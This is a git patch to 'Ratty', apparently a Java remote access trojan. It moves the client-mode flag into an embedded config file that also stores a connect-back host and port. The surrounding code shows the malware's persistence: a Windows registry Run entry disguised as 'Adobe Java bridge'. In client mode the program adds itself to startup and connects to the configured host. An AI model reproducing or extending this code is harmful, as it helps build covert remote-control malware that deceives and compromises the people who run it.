From 1691fce6db2e5eaf0f993b992cc46386db6c50bc Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 5 Feb 2016 20:13:33 +0100 Subject: [PATCH] Minor changes Loads the client flag from the config again --- Ratty/res/connection_data.txt | 3 ++- Ratty/src/de/sogomn/rat/Ratty.java | 8 +++++--- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/Ratty/res/connection_data.txt b/Ratty/res/connection_data.txt index 6aa958e..9daf0d2 100644 --- a/Ratty/res/connection_data.txt +++ b/Ratty/res/connection_data.txt @@ -1,2 +1,3 @@ localhost -23456 \ No newline at end of file +23456 +false \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 6dc641a..7d82381 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -19,6 +19,7 @@ public final class Ratty { private static String address; private static int port; + private static boolean client; private static final int CONNECTION_INTERVAL = 2500; private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt"; @@ -29,7 +30,6 @@ public final class Ratty { private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\""; public static final String VERSION = "1.0"; - public static final boolean CLIENT = false; private Ratty() { //... @@ -38,12 +38,14 @@ public final class Ratty { private static void readConnectionData() { final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME); - if (lines.length >= 2) { + if (lines.length >= 3) { final String addressString = lines[0]; final String portString = lines[1]; + final String clientString = lines[2]; address = addressString; port = Integer.parseInt(portString); + client = Boolean.parseBoolean(clientString); } } @@ -95,7 +97,7 @@ public final class Ratty { WebLookAndFeel.install(); readConnectionData(); - if (CLIENT) { + if (client) { addToStartup(); connectToHost(address, port); } else {